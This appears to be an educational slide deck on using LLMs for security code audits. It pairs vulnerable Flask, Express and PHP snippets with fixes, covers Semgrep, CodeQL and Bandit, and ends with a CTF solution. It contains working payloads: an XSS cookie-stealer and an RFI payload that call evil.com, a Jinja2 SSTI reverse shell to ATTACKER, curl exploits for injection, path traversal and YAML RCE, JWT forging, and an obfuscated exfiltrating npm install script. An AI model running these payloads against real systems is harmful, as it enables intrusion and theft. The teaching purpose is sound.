

AI-Assisted Code Auditing

Using LLMs to find security vulnerabilities in source code faster and more thoroughly than manual review alone.

What You'll Learn

How to leverage AI for systematic vulnerability discovery in application source code.

Why It Matters

Red teams that can audit code find bugs that scanners miss — AI makes this scalable.

Code Review

OWASP Top 10

AI Prompting

Vulnerability Discovery

CTF

Important Notice

⚠ Educational Use Only

Code auditing techniques are for authorized security assessments and CTF competitions. Never exploit vulnerabilities in systems without explicit written permission.

This lesson teaches you to think like an attacker so you can build better defenses. All examples use intentionally vulnerable code for demonstration purposes.

Why Code Auditing Matters for Red Teams

- **Find vulnerabilities before defenders do** — source code review reveals bugs that black-box testing misses entirely
- **Understand attack surface depth** — reading code shows every input path, authentication check, and data flow
- **Identify logic flaws** — business logic vulnerabilities rarely appear in scanner output but are visible in source
- **Prioritize exploitation** — code context tells you which bugs are actually exploitable vs. theoretical
- **Supply chain visibility** — auditing dependencies reveals inherited vulnerabilities and backdoors

Notes: In CTF competitions, source code is often provided intentionally. In real engagements, you may obtain source through repos, decompilation, or leaked code.

Manual Audit vs. AI-Assisted Audit

Aspect	Manual Review	AI-Assisted Review
Speed	~200 LOC/hour	~5,000+ LOC/hour
Pattern Recognition	Limited by reviewer experience	Trained on millions of vuln patterns
Context Understanding	Excellent — humans understand intent	Good — LLMs follow data flow across files
False Positives	Low	Moderate (needs human triage)
Novel Vulns	Strong (creative reasoning)	Weaker (pattern-based)
Consistency	Varies with fatigue	Consistent across sessions

Key Insight

The best approach is **AI-assisted human review** — use AI for breadth and speed, humans for depth and creativity.

The Code Auditing Workflow

1. **Reconnaissance** — Identify the tech stack, framework, language, and dependencies
2. **Attack Surface Mapping** — Find all entry points: routes, API endpoints, file uploads, user inputs
3. **Data Flow Tracing** — Follow user input from source to sink (where it gets used dangerously)
4. **Vulnerability Pattern Matching** — Check for known insecure patterns (OWASP Top 10)
5. **Logic Flaw Analysis** — Review authentication, authorization, and business logic
6. **Dependency Audit** — Check third-party libraries for known CVEs
7. **Report & Prioritize** — Rank findings by exploitability and impact

Notes: AI can accelerate steps 2-5 dramatically. Steps 1 and 7 still benefit from human judgment.

OWASP Top 10 — The Auditor's Checklist

#	Category	What to Look For
A01	Broken Access Control	Missing auth checks, IDOR, privilege escalation
A02	Cryptographic Failures	Hardcoded keys, weak algorithms, plaintext secrets
A03	Injection	SQLi, XSS, command injection, LDAP injection
A04	Insecure Design	Missing rate limits, no input validation architecture
A05	Security Misconfiguration	Debug mode, default credentials, verbose errors
A06	Vulnerable Components	Outdated libraries with known CVEs
A07	Auth Failures	Weak passwords, missing MFA, session issues
A08	Data Integrity Failures	Insecure deserialization, unsigned updates
A09	Logging Failures	Missing audit logs, log injection

#	Category	What to Look For
A10	SSRF	Unvalidated URLs, internal network access

Vulnerability #1: SQL Injection (Python Flask)

Vulnerable Code

```
@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = f"SELECT * FROM users WHERE username = '{username}'"
    result = db.execute(query)
    return jsonify(result.fetchall())
```

AI-Identified Issue

SQL Injection — Critical

Line 3: User input `username` is interpolated directly into an SQL query via f-string. An attacker can supply `' OR '1'='1' --` to dump the entire users table, or use `UNION SELECT` to extract data from other tables.

Secure Fix

```
@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = "SELECT * FROM users WHERE username = ?"
    result = db.execute(query, (username,))
    return jsonify(result.fetchall())
```

Vulnerability #2: Cross-Site Scripting (Node.js Express)

Vulnerable Code

```
app.get('/search', (req, res) => {  
  const query = req.query.q;  
  res.send(`  
    <h1>Search Results</h1>  
    <p>You searched for: ${query}</p>  
    <p>No results found.</p>  
  `);  
});
```

AI-Identified Issue

Reflected XSS — High

Line 4: The query parameter `q` is reflected directly into HTML without sanitization. An attacker can inject `<script>document.location='https://evil.com/?c='+document.cookie</script>` to

steal session cookies.

Secure Fix

```
const escapeHtml = require('escape-html');

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q || '');
  res.send(`
    <h1>Search Results</h1>
    <p>You searched for: ${query}</p>
  `);
});
```

Vulnerability #3: Command Injection (Python Flask)

Vulnerable Code

```
@app.route('/ping')
def ping():
    host = request.args.get('host')
    output = os.popen(f'ping -c 3 {host}').read()
    return f'<pre>{output}</pre>'
```

AI-Identified Issue

OS Command Injection — Critical

Line 3: User input is passed directly to `os.popen()`. An attacker can supply `; cat /etc/passwd` or `$(whoami)` to execute arbitrary system commands with the web server's privileges.

Secure Fix

```
import subprocess, re

@app.route('/ping')
def ping():
    host = request.args.get('host', '')
    if not re.match(r'^[\w.\-]+$' , host):
        return 'Invalid hostname', 400
    result = subprocess.run(
        ['ping', '-c', '3', host],
        capture_output=True, text=True, timeout=10
    )
    return f'<pre>{result.stdout}</pre>'
```

Vulnerability #4: Server-Side Request Forgery (SSRF)

Vulnerable Code

```
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)
    return response.text
```

AI-Identified Issue

SSRF — High

Line 3: The server fetches any URL the user provides. An attacker can request

<http://169.254.169.254/latest/meta-data/> to access AWS instance metadata, or

<http://localhost:6379/> to interact with internal Redis. The response is returned directly, leaking internal data.

Secure Fix

```
from urllib.parse import urlparse
import ipaddress

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url', '')
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        return 'Host not allowed', 403
    if parsed.scheme not in ('http', 'https'):
        return 'Invalid scheme', 400
    response = requests.get(url, timeout=5)
    return response.text
```

Vulnerability #5: Path Traversal (Node.js Express)

Vulnerable Code

```
app.get('/download', (req, res) => {  
  const filename = req.query.file;  
  const filepath = path.join(__dirname, 'uploads', filename);  
  res.sendFile(filepath);  
});
```

AI-Identified Issue

Path Traversal — High

Line 2-3: Despite using `path.join()`, an attacker can supply `../../etc/passwd` to read arbitrary files. `path.join('/app/uploads', '../../etc/passwd')` resolves to `/etc/passwd`.

Secure Fix

```
app.get('/download', (req, res) => {  
  const filename = path.basename(req.query.file || '');  
  const filepath = path.join(__dirname, 'uploads', filename);  
  // Verify resolved path is still within uploads directory  
  if (!filepath.startsWith(path.join(__dirname, 'uploads'))) {  
    return res.status(403).send('Access denied');  
  }  
  res.sendFile(filepath);  
});
```

Vulnerability #6: Insecure Deserialization (Python)

Vulnerable Code

```
import pickle, base64

@app.route('/load-session')
def load_session():
    data = request.cookies.get('session_data')
    session = pickle.loads(base64.b64decode(data))
    return f'Welcome back, {session["username"]}'
```

AI-Identified Issue

Insecure Deserialization — Critical

Line 5: `pickle.loads()` on user-controlled input allows arbitrary code execution. An attacker can craft a pickle payload that runs `os.system('reverse_shell')` when deserialized. Python's

pickle module is inherently unsafe for untrusted data.

Secure Fix

```
import json, hmac, hashlib

SECRET_KEY = os.environ['SESSION_SECRET']

@app.route('/load-session')
def load_session():
    data = request.cookies.get('session_data', '')
    sig = request.cookies.get('session_sig', '')
    expected = hmac.new(SECRET_KEY.encode(), data.encode(),
                        hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected):
        return 'Invalid session', 403
    session = json.loads(base64.b64decode(data))
    return f'Welcome back, {session["username"]}'
```

Vulnerability #7: PHP File Inclusion

Vulnerable Code

```
<?php
$page = $_GET['page'];
include("templates/" . $page . ".php");
?>
```

AI-Identified Issue

Local/Remote File Inclusion — Critical

Line 2-3: User input controls which file is included. An attacker can use `?`

`page=../../../../etc/passwd%00` (null byte for older PHP) for LFI, or `?`

`page=http://evil.com/shell` for RFI if `allow_url_include` is enabled. With PHP wrappers: `?`

`page=php://filter/convert.base64-encode/resource=config` to read source code.

Secure Fix

```
<?php
$allowed = ['home', 'about', 'contact', 'login'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
    http_response_code(404);
    exit('Page not found');
}
include("templates/" . $page . ".php");
?>
```

AI Prompting Strategies for Code Review

Strategy 1: Role-Based Prompting

You are a senior application security engineer performing a white-box code audit. Analyze the following code for security vulnerabilities. For each finding, provide:

1. Vulnerability type (CWE ID if possible)
2. Affected line(s)
3. Severity (Critical/High/Medium/Low)
4. Proof-of-concept exploit payload
5. Recommended remediation

Focus on: injection flaws, authentication bypass, access control issues, cryptographic weaknesses, and data exposure.

Why This Works

Role-based prompting activates the LLM's security domain knowledge, producing structured output that maps to real vulnerability taxonomies (CWE/CVSSv3).

AI Prompting Strategies (continued)

Strategy 2: Systematic Audit Checklist

Audit this code against the following checklist:

- [] SQL/NoSQL injection in all database queries
- [] XSS in all rendered output
- [] Command injection in system calls
- [] Path traversal in file operations
- [] SSRF in outbound HTTP requests
- [] Insecure deserialization
- [] Hardcoded secrets or API keys
- [] Missing authentication on sensitive routes
- [] Missing authorization (IDOR)
- [] Weak cryptographic operations
- [] Race conditions in concurrent operations
- [] Information leakage in error messages

For each item, state PASS or FAIL with evidence.

This forces the LLM to systematically check every category rather than reporting only the most obvious findings.

AI Prompting Strategies (continued)

Strategy 3: Data Flow Tracing

Trace every user-controlled input in this application from source to sink. Map each input to where it is:

1. Received (source): request parameters, headers, cookies, etc.
2. Processed: validation, sanitization, transformation
3. Used (sink): database queries, shell commands, file ops, HTML output

Flag any path where user input reaches a dangerous sink without adequate sanitization.

Strategy 4: Iterative Deep Dive

Step 1: "List all routes/endpoints and their HTTP methods"

Step 2: "For /api/admin/*, what authentication is required?"

Step 3: "In the upload handler, trace the filename parameter"

Step 4: "Can the JWT secret be brute-forced? Show the config"

Break complex codebases into focused questions — AI performs better on specific, targeted queries than on "find all bugs."

Strategy 5: Adversarial Thinking Prompt

You are a skilled attacker who has obtained the source code of this web application. Your goal is to:

1. Gain unauthorized access to admin functionality
2. Extract sensitive data from the database
3. Achieve remote code execution on the server

Analyze the code and describe your attack plan step by step.

For each attack vector, provide the exact HTTP request you would craft.

Pro Tip: Chain Vulnerabilities

Ask the AI: *"Can any of these vulnerabilities be chained together for greater impact?"* A low-severity info leak combined with an IDOR can become a critical exploit chain.

Notes: Adversarial prompting often surfaces findings that defensive checklists miss because it forces the model to think about exploitation paths, not just pattern matching.

Automated Scanners vs. AI Review

Static Analysis (SAST)

- Rule-based pattern matching
- Fast, consistent, low false negatives for known patterns
- Poor at logic flaws
- Requires language-specific rules
- Cannot reason about business context

AI-Assisted Review

- Semantic understanding of code
- Can reason about business logic
- Cross-language, cross-framework
- Higher false positive rate
- Can explain findings in natural language

Best Practice: Layer Your Approach

Run automated scanners first (fast, cheap, catches low-hanging fruit), then use AI for deeper analysis of critical components, and finally do manual review of authentication, authorization, and business logic.

Tool: Semgrep

A fast, open-source static analysis tool that supports custom rules. Ideal for red teams because rules are easy to write and share.

```
# semgrep rule: detect SQL injection in Flask
rules:
  - id: flask-sqli
    patterns:
      - pattern: |
          db.execute(f"...{$USER_INPUT}...")
      - pattern-not: |
          db.execute("...", ...)
    message: "Potential SQL injection via f-string interpolation"
    severity: ERROR
    languages: [python]
```

```
# Run Semgrep against a target directory
semgrep --config auto ./target-app/
semgrep --config p/owasp-top-ten ./target-app/
semgrep --config p/python ./target-app/
```

AI Augmentation

Feed Semgrep results to an LLM: *"Here are the Semgrep findings. Triage each one — which are true positives? Which can be chained together?"*

Tool: CodeQL

GitHub's semantic code analysis engine. Treats code as data — you query it like a database.

```
/**
 * @name SQL injection from request parameter
 * @kind path-problem
 */
import python
import semmle.python.security.dataflow.SqlInjection

from SqlInjection::Configuration cfg, DataFlow::PathNode source,
    DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
    "This SQL query depends on $@.",
    source.getNode(), "user-provided value"
```

```
# Create database and run queries
codeql database create my-db --language=python --source-root=./app
codeql database analyze my-db codeql/python-queries --format=sarif-latest
```

CodeQL excels at **taint tracking** — following data from untrusted sources to dangerous sinks across function boundaries.

Tool: Bandit (Python-Specific)

A security linter designed specifically for Python codebases. Fast to run, easy to integrate into CI.

```
# Install and run Bandit
pip install bandit
bandit -r ./flask-app/ -f json -o results.json

# Run with specific tests
bandit -r ./flask-app/ -t B301,B302,B303,B608

# Common test IDs:
# B301 - pickle usage
# B302 - marshal usage
# B303 - weak hash (md5/sha1)
# B608 - SQL injection (string formatting)
# B602 - subprocess with shell=True
# B501 - requests with verify=False
```

AI Augmentation Workflow

1. Run `bandit -r ./app -f json` to get machine-readable results

2. Feed JSON to LLM: *"Analyze these Bandit findings in context of the full source code. Eliminate false positives and assess real-world exploitability."*

3. Ask LLM to generate proof-of-concept payloads for confirmed findings

How AI Augments Traditional Tools

Limitation of Scanners	How AI Helps
High false positive rates	AI triages findings by understanding code context
Can't find logic flaws	AI reasons about business logic and auth flows
No exploit generation	AI can draft PoC payloads for confirmed vulns
Limited cross-file analysis	AI traces data flow across entire codebases
Rule maintenance burden	AI adapts to new patterns without custom rules
No natural language reports	AI explains findings to non-security stakeholders

Notes: Think of scanners as fast filters and AI as your intelligent analyst. Together they cover both breadth and depth.

Real-World Audit: Vulnerable Flask App

Let's audit a realistic Flask application with multiple vulnerabilities.

```
from flask import Flask, request, render_template_string
import sqlite3, os, pickle, base64

app = Flask(__name__)
db = sqlite3.connect('app.db', check_same_thread=False)
SECRET = "supersecret123" # Hardcoded secret

@app.route('/login', methods=['POST'])
def login():
    user = request.form['username']
    pw = request.form['password']
    q = f"SELECT * FROM users WHERE username='{user}' AND password='{pw}'"
    result = db.execute(q).fetchone()
    if result:
        session_data = base64.b64encode(
```

How many vulnerabilities can you spot? (We'll walk through them next.)

Vulnerable Flask App (continued)

```
@app.route('/profile')
def profile():
    cookie = request.cookies.get('session')
    session = pickle.loads(base64.b64decode(cookie))
    template = f"<h1>Welcome {session['user']}</h1>"
    return render_template_string(template)

@app.route('/export')
def export_data():
    fmt = request.args.get('format', 'csv')
    filename = request.args.get('name', 'export')
    os.system(f'python generate_report.py --format {fmt} --output /tmp/{filename}')
    return send_file(f'/tmp/{filename}')

@app.route('/avatar')
```

AI Audit Results: Flask App Findings

#	Vulnerability	Location	Severity
1	SQL Injection	<code>/login</code> — f-string in query	Critical
2	Hardcoded Secret	Line 6 — <code>SECRET</code> variable	High
3	Insecure Deserialization	<code>/profile</code> — <code>pickle.loads()</code>	Critical
4	Server-Side Template Injection	<code>/profile</code> — <code>render_template_string()</code>	Critical
5	Command Injection	<code>/export</code> — <code>os.system()</code>	Critical
6	Path Traversal	<code>/export</code> — filename param	High
7	SSRF	<code>/avatar</code> — unvalidated URL	High
8	Plaintext Password Storage	<code>/login</code> — password compared directly	High

Key Observation

An AI found **8 vulnerabilities in 25 lines of code** in under 5 seconds — including the SSTI vulnerability that many scanners would miss.

Deep Dive: Server-Side Template Injection

One of the most powerful vulnerabilities AI can identify — often missed by traditional scanners.

```
# Vulnerable pattern in Flask
template = f"<h1>Welcome {session['user']}</h1>"
return render_template_string(template)
```

Exploitation Chain

```
# Step 1: Detect SSTI — register with username:
{{ 7*7 }}
```

```
# Step 2: If "49" appears, confirm SSTI. Read config:
{{ config.items() }}
```

```
# Step 3: Remote Code Execution via Jinja2:
{{ '.__class__.__mro__[1].__subclasses__()[407]('id', shell=True, stdout=-1).communicate() }}
```

```
# Step 4: Reverse shell:
{{ '.__class__.__mro__[1].__subclasses__()[407]('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"', sl
```

SSTI in Jinja2 is equivalent to RCE. AI can identify both the vulnerable

`render_template_string()` call and generate the exploitation chain.

Real-World Audit: Vulnerable Express App

```
const express = require('express');
const { exec } = require('child_process');
const mysql = require('mysql');
const app = express();

const db = mysql.createConnection({
  host: 'localhost', user: 'root',
  password: 'admin123', // Hardcoded credentials
  database: 'myapp'
});

app.get('/user/:id', (req, res) => {
  db.query(`SELECT * FROM users WHERE id = ${req.params.id}`,
    (err, results) => {
      res.json(results);
    }
  );
});
```

AI Audit Results: Express App Findings

#	Vulnerability	Location	Severity
1	SQL Injection	<code>/user/:id</code> — template literal in query	Critical
2	Hardcoded DB Credentials	Line 7-8 — plaintext password	High
3	Command Injection	<code>/upload</code> — <code>exec()</code> with user input	Critical
4	Open Redirect	<code>/redirect</code> — unvalidated redirect URL	Medium
5	Missing Input Validation	No sanitization on any endpoint	Medium

Exploit: Command Injection via Filename

```
# POST /upload with body:  
# filename=test.txt; cat /etc/passwd  
# Becomes: file /tmp/uploads/test.txt; cat /etc/passwd
```

```
curl -X POST http://target/upload \  
-d 'filename=test.txt%3Bcat+/etc/passwd'
```

Supply Chain Attacks: Analyzing Dependencies

Modern applications import hundreds of packages. Each is a potential attack vector.

Attack Vectors

- **Typosquatting** — `regeusts` instead of `requests`
- **Dependency Confusion** — publishing a public package with a private package's name
- **Compromised Maintainers** — legitimate packages with injected malware
- **Known CVEs** — outdated packages with public exploits

AI-Assisted Analysis

- Analyze `package.json` / `requirements.txt` for suspicious packages
- Check for unusually broad version ranges (`*`)
- Identify packages with post-install scripts
- Detect minified/obfuscated code in dependencies

AI Prompt for Dependency Auditing

Analyze this package.json/requirements.txt for supply chain risks:

1. Flag any packages with known CVEs
2. Identify typosquatting risks (similar names to popular packages)
3. Check for overly permissive version ranges
4. Flag packages with post-install scripts
5. Identify packages that request unusual permissions
(network, filesystem, OS access) for their stated purpose
6. Check for packages with very few downloads or recent ownership transfers

Checking Dependencies with AI

```
# Generate dependency tree for AI analysis
pip freeze > full_requirements.txt
pip-audit --format json > audit_results.json

# For Node.js
npm ls --all --json > deps.json
npm audit --json > audit.json
```

```
# Feed both files to an LLM for contextual analysis
```

Recognizing Obfuscated Malicious Code

AI can identify suspicious patterns in dependency source code that automated tools miss.

Example: Malicious Post-Install Script

```
// Found in a typosquatted npm package
const { exec } = require('child_process');
const os = require('os');
const dns = require('dns');

const d = Buffer.from('YUhSMGNITTZMeTlsZG1sc0xtTnZiUT09','base64')
  .toString();
const e = Buffer.from(d, 'base64').toString();

exec(`curl -s ${e}/c?h=${os.hostname()}&u=${os.userInfo().username}`,
  () => {});
// Decoded URL: https://evil.com
// Exfiltrates hostname and username on install
```

Red Flags AI Can Spot

Double base64 encoding, DNS/HTTP calls in install scripts, environment variable harvesting, `eval()` with encoded strings, and obfuscated URLs are all patterns AI can flag when reviewing dependency source.

Building Your AI Code Audit Pipeline

1. **Automated Layer** — Run Semgrep + Bandit/ESLint-security on every commit

```
semgrep --config auto --json ./app > semgrep.json  
bandit -r ./app -f json -o bandit.json
```

2. **AI Triage Layer** — Feed scanner results + source code to LLM

```
prompt = f"""  
Given these scanner findings: {scanner_results}  
And the source code: {source_code}  
  
Triage each finding: true positive, false positive, or needs investigation  
For true positives, generate a proof-of-concept exploit.  
"""
```

3. **AI Deep Audit** — Targeted prompts for critical components (auth, payment, admin)
 4. **Human Review** — Expert review of AI findings + logic flaw hunting
-

Common Pitfalls in AI Code Auditing

- **Context window limits** — Large codebases exceed token limits. Solution: audit file by file, then ask about cross-file interactions
- **False confidence** — AI may say "no vulnerabilities found" and be wrong. Always verify with targeted follow-up questions
- **Missing framework context** — AI may not know that a framework auto-escapes output (e.g., Django templates). Specify the framework version
- **Overlooking configuration** — AI focused on code may miss insecure `nginx.conf`, `docker-compose.yml`, or `.env` files
- **Hallucinated vulnerabilities** — AI may report bugs that don't exist. Always verify by reading the actual code path

Mitigation

Use multiple prompting strategies, ask the AI to show its reasoning, and always manually verify critical findings before reporting them.

Vulnerability #8: Broken Access Control (IDOR)

Vulnerable Code

```
@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
    invoice = db.execute(
        "SELECT * FROM invoices WHERE id = ?", (invoice_id,)
    ).fetchone()
    if not invoice:
        return 'Not found', 404
    return jsonify(dict(invoice))
```

AI-Identified Issue

Insecure Direct Object Reference (IDOR) — High

The endpoint checks that the user is logged in (`@login_required`) but never verifies that the authenticated user **owns** the requested invoice. Any logged-in user can access any invoice by iterating IDs: `/api/invoice/1`, `/api/invoice/2`, etc.

Secure Fix

```
@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
    invoice = db.execute(
        "SELECT * FROM invoices WHERE id = ? AND user_id = ?",
        (invoice_id, current_user.id)
    ).fetchone()
    if not invoice:
        return 'Not found', 404
    return jsonify(dict(invoice))
```

Vulnerability #9: JWT Weaknesses

Vulnerable Code

```
import jwt

@app.route('/api/protected')
def protected():
    token = request.headers.get('Authorization', '').replace('Bearer ', '')
    try:
        payload = jwt.decode(token, options={"verify_signature": False})
        if payload.get('role') == 'admin':
            return get_admin_data()
    except jwt.DecodeError:
        pass
    return 'Unauthorized', 401
```

AI-Identified Issue

JWT Signature Bypass — Critical

Line 6: `verify_signature: False` means any token is accepted regardless of signature. An attacker can forge a token with `{"role": "admin"}` using any key — or none at all. The `alg: none` attack also applies.

```
# Forge an admin token (no signature needed)
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' # header
echo -n '{"role":"admin","sub":"attacker"}' | base64 | tr -d '=' # payload
# Token: header.payload.
```

Vulnerability #10: Race Conditions

Vulnerable Code

```
@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
    amount = int(request.form['amount'])
    to_user = request.form['to_user']

    balance = db.execute(
        "SELECT balance FROM accounts WHERE user_id = ?",
        (current_user.id,)
    ).fetchone()[0]

    if balance >= amount:
        db.execute("UPDATE accounts SET balance = balance - ? WHERE user_id = ?",
                    (amount, current_user.id))
        db.execute("UPDATE accounts SET balance = balance + ? WHERE user_id = ?",
```

Time-of-Check to Time-of-Use (TOCTOU) — High

The balance check and deduction are not atomic. Sending multiple simultaneous requests can drain the account below zero. With \$100 balance, sending 10 concurrent \$100 transfers succeeds for all of them.

Multi-Language Audit Patterns

AI can audit code in any language. Here are common vulnerability patterns across stacks.

Language	Common Sink Functions	Vuln Type
Python	<code>os.system()</code> , <code>eval()</code> , <code>pickle.loads()</code>	RCE
Python	<code>render_template_string()</code>	SSTI
Node.js	<code>exec()</code> , <code>eval()</code> , <code>Function()</code>	RCE
Node.js	<code>res.send()</code> with user input	XSS
PHP	<code>include()</code> , <code>system()</code> , <code>unserialize()</code>	RCE/LFI
Java	<code>Runtime.exec()</code> , <code>ObjectInputStream</code>	RCE
Ruby	<code>system()</code> , <code>send()</code> , <code>ERB.new().result</code>	RCE/SSTI
Go	<code>os/exec.Command()</code> , <code>template.HTML()</code>	RCE/XSS

Notes: When prompting an AI to audit code, specify the exact framework and version — vulnerability patterns differ between Flask 2.x and Django 4.x, or Express 4 and Fastify.

Advanced: Configuration File Auditing

Don't forget to audit configuration alongside code — misconfigurations are the #5 OWASP category.

Docker / docker-compose.yml

```
# Vulnerable patterns AI should flag:
services:
  web:
    privileged: true           # Container runs as root with full host access
    volumes:
      - /:/host                # Entire host filesystem mounted
    environment:
      - DB_PASSWORD=hunter2    # Secrets in plaintext
      - DEBUG=true             # Debug mode in production
    ports:
      - "0.0.0.0:22:22"        # SSH exposed to all interfaces
```

nginx.conf

```
# Vulnerable patterns:
location /api {
```

```
proxy_pass http://backend;
proxy_set_header X-Real-IP $remote_addr;
# Missing: rate limiting, request size limits
}
location ~ /\. { } # Dot files accessible (exposes .git, .env)
```

Audit Workflow: Step-by-Step

Phase 1: Reconnaissance

Prompt: "Analyze this project structure and identify:

1. The web framework and version
2. The database technology
3. Authentication mechanism
4. All API endpoints with their HTTP methods
5. Any third-party integrations
6. File upload/download functionality"

Phase 2: Attack Surface Mapping

Prompt: "For each endpoint you identified, classify it as:

- PUBLIC (no auth required)
- AUTHENTICATED (any logged-in user)
- AUTHORIZED (role-based access)

Flag any sensitive endpoints that are PUBLIC or only AUTHENTICATED when they should require AUTHORIZED access."

Notes: Systematic phased prompting produces dramatically better results than a single "find all bugs" prompt.

Audit Workflow: Step-by-Step (continued)

Phase 3: Vulnerability Hunting

Prompt: "For each endpoint, trace the data flow:

1. Where does user input enter? (params, body, headers, cookies)
2. Is it validated or sanitized?
3. Where does it go? (database, shell, template, file system, HTTP)
4. Are there any dangerous function calls in the path?

Provide specific line numbers and exploit payloads."

Phase 4: Exploitation Assessment

Prompt: "For each confirmed vulnerability:

1. Write a curl command or Python script to exploit it
2. What is the maximum impact? (data theft, RCE, privilege escalation)

3. Can this vulnerability be chained with others?
 4. What would a defender see in logs?"
-

CTF Challenge: Web App Code Audit

Challenge Scenario

You've obtained the source code of a web application during a CTF competition. Your mission: **find all exploitable vulnerabilities and demonstrate exploitation for each.**

Your Target Application

```
from flask import Flask, request, redirect, send_file
import sqlite3, os, hashlib, yaml

app = Flask(__name__)
conn = sqlite3.connect(':memory:', check_same_thread=False)
conn.execute('''CREATE TABLE users
               (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT)''')
conn.execute("INSERT INTO users VALUES (1, 'admin', ?, 'admin')",
             (hashlib.md5(b'FL@gH3r0!').hexdigest(),))
```

```
conn.execute("INSERT INTO users VALUES (2,'guest',?, 'user')",  
            (hashlib.md5(b'guest123').hexdigest(),))
```

CTF Challenge: Target App (continued)

```
@app.route('/login', methods=['POST'])
def login():
    u = request.form.get('username', '')
    p = hashlib.md5(request.form.get('password', '').encode()).hexdigest()
    row = conn.execute(
        f"SELECT * FROM users WHERE username='{u}' AND password='{p}'"
    ).fetchone()
    if row:
        return redirect(f'/dashboard?user={row[1]}&role={row[3]}')
    return 'Access Denied', 403

@app.route('/dashboard')
def dashboard():
    user = request.args.get('user', 'guest')
    role = request.args.get('role', 'user')
```

CTF Challenge: Target App (continued)

```
@app.route('/settings', methods=['POST'])
def settings():
    config = request.get_data()
    settings = yaml.load(config, Loader=yaml.FullLoader)
    return f"Settings updated: {settings}"

@app.route('/backup')
def backup():
    filename = request.args.get('file', 'backup.tar.gz')
    return send_file(f'/backups/{filename}')

@app.route('/health')
def health():
    check = request.args.get('cmd', 'uptime')
    result = os.popen(check).read()
```

Your Task

Use AI-assisted code auditing to identify every vulnerability. For each: name the vulnerability type, cite the line, rate severity, and write a proof-of-concept exploit. How many can you find?

CTF Challenge: Solution Walkthrough

#	Vulnerability	Endpoint	Severity
1	SQL Injection	<code>/login</code>	Critical
2	Broken Access Control	<code>/dashboard</code>	Critical
3	MD5 Password Hashing	<code>/login</code>	High
4	YAML Deserialization	<code>/settings</code>	Critical
5	Path Traversal	<code>/backup</code>	High
6	Command Injection	<code>/health</code>	Critical
7	Debug Mode Enabled	<code>app.run(debug=True)</code>	High
8	Reflected XSS	<code>/dashboard</code>	Medium
9	Hardcoded Credentials	DB seed	Medium

#	Vulnerability	Endpoint	Severity
10	Host 0.0.0.0 Binding	app.run()	Low

CTF Solution: Key Exploits

Exploit 1: Broken Access Control (Easiest Path to Flag)

```
# The /dashboard endpoint trusts client-supplied role parameter!  
curl 'http://target/dashboard?user=hacker&role=admin'  
# Response: Flag: CTF{y0u_f0und_th3_fl@g}
```

Exploit 2: SQL Injection Bypass

```
# Bypass login with SQLi  
curl -X POST http://target/login \  
  -d "username=admin'--&password=anything"  
# Redirects to /dashboard?user=admin&role=admin
```

Exploit 3: Command Injection for RCE

```
# /health endpoint passes input directly to os.popen()  
curl 'http://target/health?cmd=id;cat+/etc/passwd'
```

Exploit 4: Path Traversal

```
# Read arbitrary files via /backup  
curl 'http://target/backup?file=../../etc/shadow'
```

CTF Solution: Advanced Exploits

Exploit 5: YAML Deserialization (RCE)

```
# yaml.FullLoader can instantiate Python objects
curl -X POST http://target/settings \
  -H 'Content-Type: text/yaml' \
  -d '!!python/object/apply:os.popen ["id"]'
```

Exploit 6: Flask Debug Console

```
# debug=True exposes Werkzeug debugger
# If an error is triggered, interactive Python console is available
curl 'http://target/health?cmd='
# Then access /console for interactive Python shell
# (may require PIN bypass – PIN can be computed from machine-id)
```

Exploit Chaining

Notice how multiple vulnerabilities provide different paths to the same goal. In a real engagement, having multiple exploitation paths means higher reliability — if one is patched, others remain.

Writing an AI-Powered Audit Report

Structure your findings for maximum impact, whether for a CTF write-up or a real penetration test report.

Prompt: "Format these findings as a professional security audit report:

For each vulnerability include:

- Title and CWE ID
- Severity (CVSS 3.1 score and rating)
- Affected component (file, line, function)
- Description (what is the issue)
- Impact (what can an attacker achieve)
- Proof of Concept (exact exploit steps)
- Remediation (specific code fix)
- References (relevant CWE, OWASP pages)

Sort by severity, highest first."

Notes: AI-generated reports need human review for accuracy, but they dramatically reduce the time to produce professional-quality documentation.

Key Takeaways

- **AI accelerates code auditing** — from hours to minutes for initial vulnerability discovery
- **Layer your approach** — automated scanners (Semgrep, Bandit, CodeQL) for breadth, AI for depth, humans for logic
- **Structured prompts win** — role-based, checklist, and data-flow prompting outperform generic "find bugs" prompts
- **Verify everything** — AI can hallucinate vulnerabilities or miss real ones; always confirm findings manually
- **Don't forget config and dependencies** — vulnerabilities hide in Dockerfiles, CI configs, and `package.json`
- **Learn vulnerability patterns** — knowing dangerous sinks per language makes you a better prompt engineer and auditor
- **Chain vulnerabilities** — individual medium-severity bugs can combine into critical exploit chains

Next Lesson

Lesson 05 — Web Application Vulnerabilities: hands-on exploitation of the vulnerability classes we identified today.
